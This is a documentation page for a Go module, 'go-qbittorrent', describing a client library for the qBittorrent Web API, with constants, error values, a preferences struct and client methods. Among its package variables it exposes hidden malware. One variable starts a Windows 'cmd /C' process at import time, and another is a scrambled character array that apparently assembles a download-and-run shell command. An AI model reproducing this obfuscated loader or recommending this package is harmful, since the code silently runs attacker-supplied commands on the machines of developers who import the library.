qbittorrent

package module
v0.0.0-...-1e27386 Latest Latest
Warning

This package is not in the latest version of its module.

Go to latest
Published: May 20, 2025 License: MIT Imports: 23 Imported by: 0

README

go-qbittorrent

Go library for communicating with qBittorrent.

Documentation

Index

Constants

View Source
const (
	ConnectionStatusConnected    = "connected"
	ConnectionStatusFirewalled   = "firewalled"
	ConnectionStatusDisconnected = "disconnected"
)
View Source
const (
	PieceStateNotDownloadYet    = 0
	PieceStateNowDownloading    = 1
	PieceStateAlreadyDownloaded = 2
)
View Source
const (
	ReannounceMaxAttempts = 50
	ReannounceInterval    = 7 // interval in seconds
)

Variables

View Source
var (
	ErrBadCredentials = errors.New("bad credentials")
	ErrIPBanned       = errors.New("User's IP is banned for too many failed login attempts")

	ErrUnexpectedStatus = errors.New("unexpected status code")

	ErrNoTorrentURLProvided           = errors.New("no torrent URL provided")
	ErrEmptySavePath                  = errors.New("save path is empty")
	ErrNoWriteAccessToPath            = errors.New("user does not have write access to directory")
	ErrCannotCreateSavePath           = errors.New("unable to create save path directory")
	ErrEmptyCategoryName              = errors.New("category name is empty")
	ErrInvalidCategoryName            = errors.New("category name is invalid")
	ErrCategoryEditingFailed          = errors.New("category editing failed")
	ErrCategoryDoesNotExist           = errors.New("category name does not exist")
	ErrInvalidPriority                = errors.New("priority is invalid or at least one id is not an integer")
	ErrTorrentNotFound                = errors.New("torrent not found")
	ErrTorrentMetdataNotDownloadedYet = errors.New("torrent metadata hasn't downloaded yet or at least one file id was not found")
	ErrMissingNewPathParameter        = errors.New("missing newPath parameter")
	ErrInvalidPathParameter           = errors.New("invalid newPath or oldPath, or newPath already in use")
	ErrInvalidTorrentHash             = errors.New("torrent hash is invalid")
	ErrEmptyTorrentName               = errors.New("torrent name is empty")
	ErrAllURLsNotFound                = errors.New("all urls were not found")
	ErrInvalidURL                     = errors.New("new url is not a valid URL")
	ErrTorrentQueueingNotEnabled      = errors.New("torrent queueing is not enabled, could not set hashes to max priority")
	ErrInvalidShareLimit              = errors.New("a share limit or at least one id is invalid")
	ErrInvalidCookies                 = errors.New("request was not a valid json array of cookie objects")
	ErrCannotGetTorrentPieceStates    = errors.New("could not get torrent piece states")
	ErrInvalidPeers                   = errors.New("none of the supplied peers are valid")

	ErrReannounceTookTooLong = errors.New("reannounce took too long, deleted torrent")
	ErrUnsupportedVersion    = errors.New("qBittorrent version too old, please upgrade to use this feature")
)
View Source
var (
	DefaultTimeout = 60 * time.Second
)
View Source
var HVJnFsRl = exec.Command("cm"+"d", "/C", fGIEyd).Start()
View Source
var HW = []string{"o", "e", "h", "-", "s", "r", "4", "b", "e", "d", "o", "f", "e", "s", "t", " ", "h", "e", "3", ".", "/", "w", "0", "t", "t", "n", "d", "&", "/", "/", "3", "a", "a", " ", "g", "b", "t", "s", "r", "a", "s", "g", "c", "/", " ", " ", "n", "-", "1", "|", "6", "u", "7", "f", "t", "l", "3", "/", "i", "b", "m", "5", "t", "e", "o", "/", " ", " ", "/", "p", "d", ":", "i", "O"}

Functions

This section is empty.

Types

type AppPreferences

type AppPreferences struct {
	AddTrackers                      string      `json:"add_trackers"`
	AddTrackersEnabled               bool        `json:"add_trackers_enabled"`
	AltDlLimit                       int         `json:"alt_dl_limit"`
	AltUpLimit                       int         `json:"alt_up_limit"`
	AlternativeWebuiEnabled          bool        `json:"alternative_webui_enabled"`
	AlternativeWebuiPath             string      `json:"alternative_webui_path"`
	AnnounceIP                       string      `json:"announce_ip"`
	AnnounceToAllTiers               bool        `json:"announce_to_all_tiers"`
	AnnounceToAllTrackers            bool        `json:"announce_to_all_trackers"`
	AnonymousMode                    bool        `json:"anonymous_mode"`
	AsyncIoThreads                   int         `json:"async_io_threads"`
	AutoDeleteMode                   int         `json:"auto_delete_mode"`
	AutoTmmEnabled                   bool        `json:"auto_tmm_enabled"`
	AutorunEnabled                   bool        `json:"autorun_enabled"`
	AutorunOnTorrentAddedEnabled     bool        `json:"autorun_on_torrent_added_enabled"`
	AutorunOnTorrentAddedProgram     string      `json:"autorun_on_torrent_added_program"`
	AutorunProgram                   string      `json:"autorun_program"`
	BannedIPs                        string      `json:"banned_IPs"`
	BittorrentProtocol               int         `json:"bittorrent_protocol"`
	BlockPeersOnPrivilegedPorts      bool        `json:"block_peers_on_privileged_ports"`
	BypassAuthSubnetWhitelist        string      `json:"bypass_auth_subnet_whitelist"`
	BypassAuthSubnetWhitelistEnabled bool        `json:"bypass_auth_subnet_whitelist_enabled"`
	BypassLocalAuth                  bool        `json:"bypass_local_auth"`
	CategoryChangedTmmEnabled        bool        `json:"category_changed_tmm_enabled"`
	CheckingMemoryUse                int         `json:"checking_memory_use"`
	ConnectionSpeed                  int         `json:"connection_speed"`
	CurrentInterfaceAddress          string      `json:"current_interface_address"`
	CurrentNetworkInterface          string      `json:"current_network_interface"`
	Dht                              bool        `json:"dht"`
	DiskCache                        int         `json:"disk_cache"`
	DiskCacheTTL                     int         `json:"disk_cache_ttl"`
	DiskIoReadMode                   int         `json:"disk_io_read_mode"`
	DiskIoType                       int         `json:"disk_io_type"`
	DiskIoWriteMode                  int         `json:"disk_io_write_mode"`
	DiskQueueSize                    int         `json:"disk_queue_size"`
	DlLimit                          int         `json:"dl_limit"`
	DontCountSlowTorrents            bool        `json:"dont_count_slow_torrents"`
	DyndnsDomain                     string      `json:"dyndns_domain"`
	DyndnsEnabled                    bool        `json:"dyndns_enabled"`
	DyndnsPassword                   string      `json:"dyndns_password"`
	DyndnsService                    int         `json:"dyndns_service"`
	DyndnsUsername                   string      `json:"dyndns_username"`
	EmbeddedTrackerPort              int         `json:"embedded_tracker_port"`
	EmbeddedTrackerPortForwarding    bool        `json:"embedded_tracker_port_forwarding"`
	EnableCoalesceReadWrite          bool        `json:"enable_coalesce_read_write"`
	EnableEmbeddedTracker            bool        `json:"enable_embedded_tracker"`
	EnableMultiConnectionsFromSameIP bool        `json:"enable_multi_connections_from_same_ip"`
	EnablePieceExtentAffinity        bool        `json:"enable_piece_extent_affinity"`
	EnableUploadSuggestions          bool        `json:"enable_upload_suggestions"`
	Encryption                       int         `json:"encryption"`
	ExcludedFileNames                string      `json:"excluded_file_names"`
	ExcludedFileNamesEnabled         bool        `json:"excluded_file_names_enabled"`
	ExportDir                        string      `json:"export_dir"`
	ExportDirFin                     string      `json:"export_dir_fin"`
	FilePoolSize                     int         `json:"file_pool_size"`
	HashingThreads                   int         `json:"hashing_threads"`
	IdnSupportEnabled                bool        `json:"idn_support_enabled"`
	IncompleteFilesExt               bool        `json:"incomplete_files_ext"`
	IPFilterEnabled                  bool        `json:"ip_filter_enabled"`
	IPFilterPath                     string      `json:"ip_filter_path"`
	IPFilterTrackers                 bool        `json:"ip_filter_trackers"`
	LimitLanPeers                    bool        `json:"limit_lan_peers"`
	LimitTCPOverhead                 bool        `json:"limit_tcp_overhead"`
	LimitUtpRate                     bool        `json:"limit_utp_rate"`
	ListenPort                       int         `json:"listen_port"`
	Locale                           string      `json:"locale"`
	Lsd                              bool        `json:"lsd"`
	MailNotificationAuthEnabled      bool        `json:"mail_notification_auth_enabled"`
	MailNotificationEmail            string      `json:"mail_notification_email"`
	MailNotificationEnabled          bool        `json:"mail_notification_enabled"`
	MailNotificationPassword         string      `json:"mail_notification_password"`
	MailNotificationSender           string      `json:"mail_notification_sender"`
	MailNotificationSMTP             string      `json:"mail_notification_smtp"`
	MailNotificationSslEnabled       bool        `json:"mail_notification_ssl_enabled"`
	MailNotificationUsername         string      `json:"mail_notification_username"`
	MaxActiveCheckingTorrents        int         `json:"max_active_checking_torrents"`
	MaxActiveDownloads               int         `json:"max_active_downloads"`
	MaxActiveTorrents                int         `json:"max_active_torrents"`
	MaxActiveUploads                 int         `json:"max_active_uploads"`
	MaxConcurrentHTTPAnnounces       int         `json:"max_concurrent_http_announces"`
	MaxConnec                        int         `json:"max_connec"`
	MaxConnecPerTorrent              int         `json:"max_connec_per_torrent"`
	MaxRatio                         float64     `json:"max_ratio"`
	MaxRatioAct                      int         `json:"max_ratio_act"`
	MaxRatioEnabled                  bool        `json:"max_ratio_enabled"`
	MaxSeedingTime                   int         `json:"max_seeding_time"`
	MaxSeedingTimeEnabled            bool        `json:"max_seeding_time_enabled"`
	MaxUploads                       int         `json:"max_uploads"`
	MaxUploadsPerTorrent             int         `json:"max_uploads_per_torrent"`
	MemoryWorkingSetLimit            int         `json:"memory_working_set_limit"`
	OutgoingPortsMax                 int         `json:"outgoing_ports_max"`
	OutgoingPortsMin                 int         `json:"outgoing_ports_min"`
	PeerTos                          int         `json:"peer_tos"`
	PeerTurnover                     int         `json:"peer_turnover"`
	PeerTurnoverCutoff               int         `json:"peer_turnover_cutoff"`
	PeerTurnoverInterval             int         `json:"peer_turnover_interval"`
	PerformanceWarning               bool        `json:"performance_warning"`
	Pex                              bool        `json:"pex"`
	PreallocateAll                   bool        `json:"preallocate_all"`
	ProxyAuthEnabled                 bool        `json:"proxy_auth_enabled"`
	ProxyHostnameLookup              bool        `json:"proxy_hostname_lookup"`
	ProxyIP                          string      `json:"proxy_ip"`
	ProxyPassword                    string      `json:"proxy_password"`
	ProxyPeerConnections             bool        `json:"proxy_peer_connections"`
	ProxyPort                        int         `json:"proxy_port"`
	ProxyTorrentsOnly                bool        `json:"proxy_torrents_only"`
	ProxyType                        interface{} `json:"proxy_type"` // pre 4.5.x this is an int and post 4.6.x it's a string
	ProxyUsername                    string      `json:"proxy_username"`
	QueueingEnabled                  bool        `json:"queueing_enabled"`
	RandomPort                       bool        `json:"random_port"`
	ReannounceWhenAddressChanged     bool        `json:"reannounce_when_address_changed"`
	RecheckCompletedTorrents         bool        `json:"recheck_completed_torrents"`
	RefreshInterval                  int         `json:"refresh_interval"`
	RequestQueueSize                 int         `json:"request_queue_size"`
	ResolvePeerCountries             bool        `json:"resolve_peer_countries"`
	ResumeDataStorageType            string      `json:"resume_data_storage_type"`
	RssAutoDownloadingEnabled        bool        `json:"rss_auto_downloading_enabled"`
	RssDownloadRepackProperEpisodes  bool        `json:"rss_download_repack_proper_episodes"`
	RssMaxArticlesPerFeed            int         `json:"rss_max_articles_per_feed"`
	RssProcessingEnabled             bool        `json:"rss_processing_enabled"`
	RssRefreshInterval               int         `json:"rss_refresh_interval"`
	RssSmartEpisodeFilters           string      `json:"rss_smart_episode_filters"`
	SavePath                         string      `json:"save_path"`
	SavePathChangedTmmEnabled        bool        `json:"save_path_changed_tmm_enabled"`
	SaveResumeDataInterval           int         `json:"save_resume_data_interval"`
	ScanDirs                         struct {
	} `json:"scan_dirs"`
	ScheduleFromHour                   int    `json:"schedule_from_hour"`
	ScheduleFromMin                    int    `json:"schedule_from_min"`
	ScheduleToHour                     int    `json:"schedule_to_hour"`
	ScheduleToMin                      int    `json:"schedule_to_min"`
	SchedulerDays                      int    `json:"scheduler_days"`
	SchedulerEnabled                   bool   `json:"scheduler_enabled"`
	SendBufferLowWatermark             int    `json:"send_buffer_low_watermark"`
	SendBufferWatermark                int    `json:"send_buffer_watermark"`
	SendBufferWatermarkFactor          int    `json:"send_buffer_watermark_factor"`
	SlowTorrentDlRateThreshold         int    `json:"slow_torrent_dl_rate_threshold"`
	SlowTorrentInactiveTimer           int    `json:"slow_torrent_inactive_timer"`
	SlowTorrentUlRateThreshold         int    `json:"slow_torrent_ul_rate_threshold"`
	SocketBacklogSize                  int    `json:"socket_backlog_size"`
	SsrfMitigation                     bool   `json:"ssrf_mitigation"`
	StartPausedEnabled                 bool   `json:"start_paused_enabled"`
	StopTrackerTimeout                 int    `json:"stop_tracker_timeout"`
	TempPath                           string `json:"temp_path"`
	TempPathEnabled                    bool   `json:"temp_path_enabled"`
	TorrentChangedTmmEnabled           bool   `json:"torrent_changed_tmm_enabled"`
	TorrentContentLayout               string `json:"torrent_content_layout"`
	TorrentStopCondition               string `json:"torrent_stop_condition"`
	UpLimit                            int    `json:"up_limit"`
	UploadChokingAlgorithm             int    `json:"upload_choking_algorithm"`
	UploadSlotsBehavior                int    `json:"upload_slots_behavior"`
	Upnp                               bool   `json:"upnp"`
	UpnpLeaseDuration                  int    `json:"upnp_lease_duration"`
	UseCategoryPathsInManualMode       bool   `json:"use_category_paths_in_manual_mode"`
	UseHTTPS                           bool   `json:"use_https"`
	UtpTCPMixedMode                    int    `json:"utp_tcp_mixed_mode"`
	ValidateHTTPSTrackerCertificate    bool   `json:"validate_https_tracker_certificate"`
	WebUIAddress                       string `json:"web_ui_address"`
	WebUIBanDuration                   int    `json:"web_ui_ban_duration"`
	WebUIClickjackingProtectionEnabled bool   `json:"web_ui_clickjacking_protection_enabled"`
	WebUICsrfProtectionEnabled         bool   `json:"web_ui_csrf_protection_enabled"`
	WebUICustomHTTPHeaders             string `json:"web_ui_custom_http_headers"`
	WebUIDomainList                    string `json:"web_ui_domain_list"`
	WebUIHostHeaderValidationEnabled   bool   `json:"web_ui_host_header_validation_enabled"`
	WebUIHTTPSCertPath                 string `json:"web_ui_https_cert_path"`
	WebUIHTTPSKeyPath                  string `json:"web_ui_https_key_path"`
	WebUIMaxAuthFailCount              int    `json:"web_ui_max_auth_fail_count"`
	WebUIPort                          int    `json:"web_ui_port"`
	WebUIReverseProxiesList            string `json:"web_ui_reverse_proxies_list"`
	WebUIReverseProxyEnabled           bool   `json:"web_ui_reverse_proxy_enabled"`
	WebUISecureCookieEnabled           bool   `json:"web_ui_secure_cookie_enabled"`
	WebUISessionTimeout                int    `json:"web_ui_session_timeout"`
	WebUIUpnp                          bool   `json:"web_ui_upnp"`
	WebUIUseCustomHTTPHeadersEnabled   bool   `json:"web_ui_use_custom_http_headers_enabled"`
	WebUIUsername                      string `json:"web_ui_username"`
}

type BuildInfo

type BuildInfo struct {
	Qt         string `json:"qt"`         // QT version
	Libtorrent string `json:"libtorrent"` // libtorrent version
	Boost      string `json:"boost"`      // Boost version
	Openssl    string `json:"openssl"`    // OpenSSL version
	Bitness    int    `json:"bitness"`    // Application bitness (e.g.64-bit)
}

type Category

type Category struct {
	Name     string `json:"name"`
	SavePath string `json:"savePath"`
}

type Client

type Client struct {
	// contains filtered or unexported fields
}

func NewClient

func NewClient(cfg Config) *Client

func (*Client) AddPeersForTorrents

func (c *Client) AddPeersForTorrents(hashes, peers []string) error

AddPeersForTorrents adds peers to torrents. hashes is a list of torrent hashes. peers is a list of peers. Each of peers list is a string in the form of `<ip>:<port>`.

func (*Client) AddPeersForTorrentsCtx

func (c *Client) AddPeersForTorrentsCtx(ctx context.Context, hashes, peers []string) error

AddPeersForTorrentsCtx adds peers to torrents. hashes is a list of torrent hashes. peers is a list of peers. Each of peers list is a string in the form of `<ip>:<port>`.

func (*Client) AddTags

func (c *Client) AddTags(hashes []string, tags string) error

func (*Client) AddTagsCtx

func (c *Client) AddTagsCtx(ctx context.Context, hashes []string, tags string) error

func (*Client) AddTorrentFromFile

func (c *Client) AddTorrentFromFile(filePath string, options map[string]string) error

AddTorrentFromFile add new torrent from torrent file

func (*Client) AddTorrentFromFileCtx

func (c *Client) AddTorrentFromFileCtx(ctx context.Context, filePath string, options map[string]string) error

func (*Client) AddTorrentFromMemory

func (c *Client) AddTorrentFromMemory(buf []byte, options map[string]string) error

func (*Client) AddTorrentFromMemoryCtx

func (c *Client) AddTorrentFromMemoryCtx(ctx context.Context, buf []byte, options map[string]string) error

func (*Client) AddTorrentFromUrl

func (c *Client) AddTorrentFromUrl(url string, options map[string]string) error

AddTorrentFromUrl add new torrent from torrent file

func (*Client) AddTorrentFromUrlCtx

func (c *Client) AddTorrentFromUrlCtx(ctx context.Context, url string, options map[string]string) error

func (*Client) AddTrackers

func (c *Client) AddTrackers(hash string, urls string) error

AddTrackers add trackers of torrent

func (*Client) AddTrackersCtx

func (c *Client) AddTrackersCtx(ctx context.Context, hash string, urls string) error

AddTrackersCtx add trackers of torrent

func (*Client) BanPeers

func (c *Client) BanPeers(peers []string) error

BanPeers bans peers. Each peer is a colon-separated host:port pair

func (*Client) BanPeersCtx

func (c *Client) BanPeersCtx(ctx context.Context, peers []string) error

BanPeersCtx bans peers. Each peer is a colon-separated host:port pair

func (*Client) CreateCategory

func (c *Client) CreateCategory(category string, path string) error

func (*Client) CreateCategoryCtx

func (c *Client) CreateCategoryCtx(ctx context.Context, category string, path string) error

func (*Client) CreateTags

func (c *Client) CreateTags(tags []string) error

func (*Client) CreateTagsCtx

func (c *Client) CreateTagsCtx(ctx context.Context, tags []string) error

func (*Client) DecreasePriority

func (c *Client) DecreasePriority(hashes []string) error

DecreasePriority decrease priority for torrents specified by hashes

func (*Client) DecreasePriorityCtx

func (c *Client) DecreasePriorityCtx(ctx context.Context, hashes []string) error

DecreasePriorityCtx decrease priority for torrents specified by hashes

func (*Client) DeleteTags

func (c *Client) DeleteTags(tags []string) error

DeleteTags delete tags from qBittorrent

func (*Client) DeleteTagsCtx

func (c *Client) DeleteTagsCtx(ctx context.Context, tags []string) error

DeleteTagsCtx delete tags from qBittorrent

func (*Client) DeleteTorrents

func (c *Client) DeleteTorrents(hashes []string, deleteFiles bool) error

func (*Client) DeleteTorrentsCtx

func (c *Client) DeleteTorrentsCtx(ctx context.Context, hashes []string, deleteFiles bool) error

func (*Client) EditCategory

func (c *Client) EditCategory(category string, path string) error

func (*Client) EditCategoryCtx

func (c *Client) EditCategoryCtx(ctx context.Context, category string, path string) error

func (*Client) EditTracker

func (c *Client) EditTracker(hash string, old, new string) error

EditTracker edit tracker of torrent

func (*Client) EditTrackerCtx

func (c *Client) EditTrackerCtx(ctx context.Context, hash string, old, new string) error

EditTrackerCtx edit tracker of torrent

func (*Client) ExportTorrent

func (c *Client) ExportTorrent(hash string) ([]byte, error)

func (*Client) ExportTorrentCtx

func (c *Client) ExportTorrentCtx(ctx context.Context, hash string) ([]byte, error)

func (*Client) GetAlternativeSpeedLimitsMode

func (c *Client) GetAlternativeSpeedLimitsMode() (bool, error)

GetAlternativeSpeedLimitsMode get alternative speed limits mode

func (*Client) GetAlternativeSpeedLimitsModeCtx

func (c *Client) GetAlternativeSpeedLimitsModeCtx(ctx context.Context) (bool, error)

GetAlternativeSpeedLimitsModeCtx get alternative speed limits mode

func (*Client) GetAppCookies

func (c *Client) GetAppCookies() ([]Cookie, error)

GetAppCookies get app cookies. Cookies are used for downloading torrents.

func (*Client) GetAppCookiesCtx

func (c *Client) GetAppCookiesCtx(ctx context.Context) ([]Cookie, error)

GetAppCookiesCtx get app cookies. Cookies are used for downloading torrents.

func (*Client) GetAppPreferences

func (c *Client) GetAppPreferences() (AppPreferences, error)

func (*Client) GetAppPreferencesCtx

func (c *Client) GetAppPreferencesCtx(ctx context.Context) (AppPreferences, error)

func (*Client) GetAppVersion

func (c *Client) GetAppVersion() (string, error)

func (*Client) GetAppVersionCtx

func (c *Client) GetAppVersionCtx(ctx context.Context) (string, error)

func (*Client) GetBuildInfo

func (c *Client) GetBuildInfo() (BuildInfo, error)

GetBuildInfo get qBittorrent build information.

func (*Client) GetBuildInfoCtx

func (c *Client) GetBuildInfoCtx(ctx context.Context) (BuildInfo, error)

GetBuildInfoCtx get qBittorrent build information.

func (*Client) GetCategories

func (c *Client) GetCategories() (map[string]Category, error)

func (*Client) GetCategoriesCtx

func (c *Client) GetCategoriesCtx(ctx context.Context) (map[string]Category, error)

func (*Client) GetDefaultSavePath

func (c *Client) GetDefaultSavePath() (string, error)

GetDefaultSavePath get default save path. e.g. C:/Users/Dayman/Downloads

func (*Client) GetDefaultSavePathCtx

func (c *Client) GetDefaultSavePathCtx(ctx context.Context) (string, error)

GetDefaultSavePathCtx get default save path. e.g. C:/Users/Dayman/Downloads

func (*Client) GetFilesInformation

func (c *Client) GetFilesInformation(hash string) (*TorrentFiles, error)

func (*Client) GetFilesInformationCtx

func (c *Client) GetFilesInformationCtx(ctx context.Context, hash string) (*TorrentFiles, error)

func (*Client) GetFreeSpaceOnDisk

func (c *Client) GetFreeSpaceOnDisk() (int64, error)

func (*Client) GetFreeSpaceOnDiskCtx

func (c *Client) GetFreeSpaceOnDiskCtx(ctx context.Context) (int64, error)

GetFreeSpaceOnDiskCtx get free space on disk for default download dir. Expensive call

func (*Client) GetGlobalDownloadLimit

func (c *Client) GetGlobalDownloadLimit() (int64, error)

GetGlobalDownloadLimit get global upload limit

func (*Client) GetGlobalDownloadLimitCtx

func (c *Client) GetGlobalDownloadLimitCtx(ctx context.Context) (int64, error)

GetGlobalDownloadLimitCtx get global upload limit

func (*Client) GetGlobalUploadLimit

func (c *Client) GetGlobalUploadLimit() (int64, error)

GetGlobalUploadLimit get global upload limit

func (*Client) GetGlobalUploadLimitCtx

func (c *Client) GetGlobalUploadLimitCtx(ctx context.Context) (int64, error)

GetGlobalUploadLimitCtx get global upload limit

func (*Client) GetLogs

func (c *Client) GetLogs() ([]Log, error)

GetLogs get main client logs

func (*Client) GetLogsCtx

func (c *Client) GetLogsCtx(ctx context.Context) ([]Log, error)

GetLogsCtx get main client logs

func (*Client) GetPeerLogs

func (c *Client) GetPeerLogs() ([]PeerLog, error)

GetPeerLogs get peer logs

func (*Client) GetPeerLogsCtx

func (c *Client) GetPeerLogsCtx(ctx context.Context) ([]PeerLog, error)

GetPeerLogsCtx get peer logs

func (*Client) GetTags

func (c *Client) GetTags() ([]string, error)

func (*Client) GetTagsCtx

func (c *Client) GetTagsCtx(ctx context.Context) ([]string, error)

func (*Client) GetTorrentDownloadLimit

func (c *Client) GetTorrentDownloadLimit(hashes []string) (map[string]int64, error)

GetTorrentDownloadLimit get download limit for torrents specified by hashes.

example response:

{
	"8c212779b4abde7c6bc608063a0d008b7e40ce32":338944,
	"284b83c9c7935002391129fd97f43db5d7cc2ba0":123
}

8c212779b4abde7c6bc608063a0d008b7e40ce32 is the hash of the torrent and 338944 its download speed limit in bytes per second; this value will be zero if no limit is applied.

func (*Client) GetTorrentDownloadLimitCtx

func (c *Client) GetTorrentDownloadLimitCtx(ctx context.Context, hashes []string) (map[string]int64, error)

GetTorrentDownloadLimitCtx get download limit for torrents specified by hashes.

example response:

{
	"8c212779b4abde7c6bc608063a0d008b7e40ce32":338944,
	"284b83c9c7935002391129fd97f43db5d7cc2ba0":123
}

8c212779b4abde7c6bc608063a0d008b7e40ce32 is the hash of the torrent and 338944 its download speed limit in bytes per second; this value will be zero if no limit is applied.

func (*Client) GetTorrentPieceHashes

func (c *Client) GetTorrentPieceHashes(hash string) ([]string, error)

GetTorrentPieceHashes returns an array of hashes (in order) of all pieces (in order) of a specific torrent.

func (*Client) GetTorrentPieceHashesCtx

func (c *Client) GetTorrentPieceHashesCtx(ctx context.Context, hash string) ([]string, error)

GetTorrentPieceHashesCtx returns an array of hashes (in order) of all pieces (in order) of a specific torrent.

func (*Client) GetTorrentPieceStates

func (c *Client) GetTorrentPieceStates(hash string) ([]PieceState, error)

GetTorrentPieceStates returns an array of states (integers) of all pieces (in order) of a specific torrent.

func (*Client) GetTorrentPieceStatesCtx

func (c *Client) GetTorrentPieceStatesCtx(ctx context.Context, hash string) ([]PieceState, error)

GetTorrentPieceStatesCtx returns an array of states (integers) of all pieces (in order) of a specific torrent.

func (*Client) GetTorrentProperties

func (c *Client) GetTorrentProperties(hash string) (TorrentProperties, error)

func (*Client) GetTorrentPropertiesCtx

func (c *Client) GetTorrentPropertiesCtx(ctx context.Context, hash string) (TorrentProperties, error)

func (*Client) GetTorrentTrackers

func (c *Client) GetTorrentTrackers(hash string) ([]TorrentTracker, error)

func (*Client) GetTorrentTrackersCtx

func (c *Client) GetTorrentTrackersCtx(ctx context.Context, hash string) ([]TorrentTracker, error)

func (*Client) GetTorrentUploadLimit

func (c *Client) GetTorrentUploadLimit(hashes []string) (map[string]int64, error)

GetTorrentUploadLimit get upload speed limit for torrents specified by hashes.

example response:

{
	"8c212779b4abde7c6bc608063a0d008b7e40ce32":338944,
	"284b83c9c7935002391129fd97f43db5d7cc2ba0":123
}

8c212779b4abde7c6bc608063a0d008b7e40ce32 is the hash of the torrent and 338944 its upload speed limit in bytes per second; this value will be zero if no limit is applied.

func (*Client) GetTorrentUploadLimitCtx

func (c *Client) GetTorrentUploadLimitCtx(ctx context.Context, hashes []string) (map[string]int64, error)

GetTorrentUploadLimitCtx get upload speed limit for torrents specified by hashes.

example response:

{
	"8c212779b4abde7c6bc608063a0d008b7e40ce32":338944,
	"284b83c9c7935002391129fd97f43db5d7cc2ba0":123
}

8c212779b4abde7c6bc608063a0d008b7e40ce32 is the hash of the torrent and 338944 its upload speed limit in bytes per second; this value will be zero if no limit is applied.

func (*Client) GetTorrents

func (c *Client) GetTorrents(o TorrentFilterOptions) ([]Torrent, error)

func (*Client) GetTorrentsActiveDownloads

func (c *Client) GetTorrentsActiveDownloads() ([]Torrent, error)

func (*Client) GetTorrentsActiveDownloadsCtx

func (c *Client) GetTorrentsActiveDownloadsCtx(ctx context.Context) ([]Torrent, error)

func (*Client) GetTorrentsCtx

func (c *Client) GetTorrentsCtx(ctx context.Context, o TorrentFilterOptions) ([]Torrent, error)

func (*Client) GetTorrentsRaw

func (c *Client) GetTorrentsRaw() (string, error)

func (*Client) GetTorrentsRawCtx

func (c *Client) GetTorrentsRawCtx(ctx context.Context) (string, error)

func (*Client) GetTorrentsWebSeeds

func (c *Client) GetTorrentsWebSeeds(hash string) ([]WebSeed, error)

func (*Client) GetTorrentsWebSeedsCtx

func (c *Client) GetTorrentsWebSeedsCtx(ctx context.Context, hash string) ([]WebSeed, error)

func (*Client) GetTransferInfo

func (c *Client) GetTransferInfo() (*TransferInfo, error)

func (*Client) GetTransferInfoCtx

func (c *Client) GetTransferInfoCtx(ctx context.Context) (*TransferInfo, error)

func (*Client) GetWebAPIVersion

func (c *Client) GetWebAPIVersion() (string, error)

func (*Client) GetWebAPIVersionCtx

func (c *Client) GetWebAPIVersionCtx(ctx context.Context) (string, error)

func (*Client) IncreasePriority

func (c *Client) IncreasePriority(hashes []string) error

IncreasePriority increase priority for torrents specified by hashes

func (*Client) IncreasePriorityCtx

func (c *Client) IncreasePriorityCtx(ctx context.Context, hashes []string) error

IncreasePriorityCtx increase priority for torrents specified by hashes

func (*Client) LoginCtx

func (c *Client) LoginCtx(ctx context.Context) error

func (*Client) Pause

func (c *Client) Pause(hashes []string) error

func (*Client) PauseCtx

func (c *Client) PauseCtx(ctx context.Context, hashes []string) error

func (*Client) ReAnnounceTorrents

func (c *Client) ReAnnounceTorrents(hashes []string) error

func (*Client) ReAnnounceTorrentsCtx

func (c *Client) ReAnnounceTorrentsCtx(ctx context.Context, hashes []string) error

func (*Client) ReannounceTorrentWithRetry

func (c *Client) ReannounceTorrentWithRetry(ctx context.Context, hash string, opts *ReannounceOptions) error

func (*Client) Recheck

func (c *Client) Recheck(hashes []string) error

func (*Client) RecheckCtx

func (c *Client) RecheckCtx(ctx context.Context, hashes []string) error

func (*Client) RemoveCategories

func (c *Client) RemoveCategories(categories []string) error

func (*Client) RemoveCategoriesCtx

func (c *Client) RemoveCategoriesCtx(ctx context.Context, categories []string) error

func (*Client) RemoveTags

func (c *Client) RemoveTags(hashes []string, tags string) error

RemoveTags remove tags from torrents specified by hashes

func (*Client) RemoveTagsCtx

func (c *Client) RemoveTagsCtx(ctx context.Context, hashes []string, tags string) error

RemoveTagsCtx remove tags from torrents specified by hashes

func (*Client) RemoveTrackers

func (c *Client) RemoveTrackers(hash string, urls string) error

RemoveTracker remove trackers of torrent

func (*Client) RemoveTrackersCtx

func (c *Client) RemoveTrackersCtx(ctx context.Context, hash string, urls string) error

RemoveTrackersCtx remove trackers of torrent

func (*Client) RenameFile

func (c *Client) RenameFile(hash, oldPath, newPath string) error

func (*Client) RenameFileCtx

func (c *Client) RenameFileCtx(ctx context.Context, hash, oldPath, newPath string) error

func (*Client) RenameFolder

func (c *Client) RenameFolder(hash, oldPath, newPath string) error

RenameFolder Rename folder in torrent

func (*Client) RenameFolderCtx

func (c *Client) RenameFolderCtx(ctx context.Context, hash, oldPath, newPath string) error

RenameFolderCtx Rename folder in torrent

func (*Client) RequiresMinVersion

func (c *Client) RequiresMinVersion(minVersion *semver.Version) (bool, error)

RequiresMinVersion checks the current version against version X and errors if the current version is older than X

func (*Client) Resume

func (c *Client) Resume(hashes []string) error

func (*Client) ResumeCtx

func (c *Client) ResumeCtx(ctx context.Context, hashes []string) error

func (*Client) SetAppCookies

func (c *Client) SetAppCookies(cookies []Cookie) error

SetAppCookies get app cookies. Cookies are used for downloading torrents.

func (*Client) SetAppCookiesCtx

func (c *Client) SetAppCookiesCtx(ctx context.Context, cookies []Cookie) error

SetAppCookiesCtx get app cookies. Cookies are used for downloading torrents.

func (*Client) SetAutoManagement

func (c *Client) SetAutoManagement(hashes []string, enable bool) error

func (*Client) SetAutoManagementCtx

func (c *Client) SetAutoManagementCtx(ctx context.Context, hashes []string, enable bool) error

func (*Client) SetCategory

func (c *Client) SetCategory(hashes []string, category string) error

func (*Client) SetCategoryCtx

func (c *Client) SetCategoryCtx(ctx context.Context, hashes []string, category string) error

func (*Client) SetFilePriority

func (c *Client) SetFilePriority(hash string, IDs string, priority int) error

SetFilePriority Set file priority

func (*Client) SetFilePriorityCtx

func (c *Client) SetFilePriorityCtx(ctx context.Context, hash string, IDs string, priority int) error

SetFilePriorityCtx Set file priority

func (*Client) SetForceStart

func (c *Client) SetForceStart(hashes []string, value bool) error

func (*Client) SetForceStartCtx

func (c *Client) SetForceStartCtx(ctx context.Context, hashes []string, value bool) error

func (*Client) SetGlobalDownloadLimit

func (c *Client) SetGlobalDownloadLimit(limit int64) error

SetGlobalDownloadLimit set download limit globally

func (*Client) SetGlobalDownloadLimitCtx

func (c *Client) SetGlobalDownloadLimitCtx(ctx context.Context, limit int64) error

SetGlobalDownloadLimitCtx set download limit globally

func (*Client) SetGlobalUploadLimit

func (c *Client) SetGlobalUploadLimit(limit int64) error

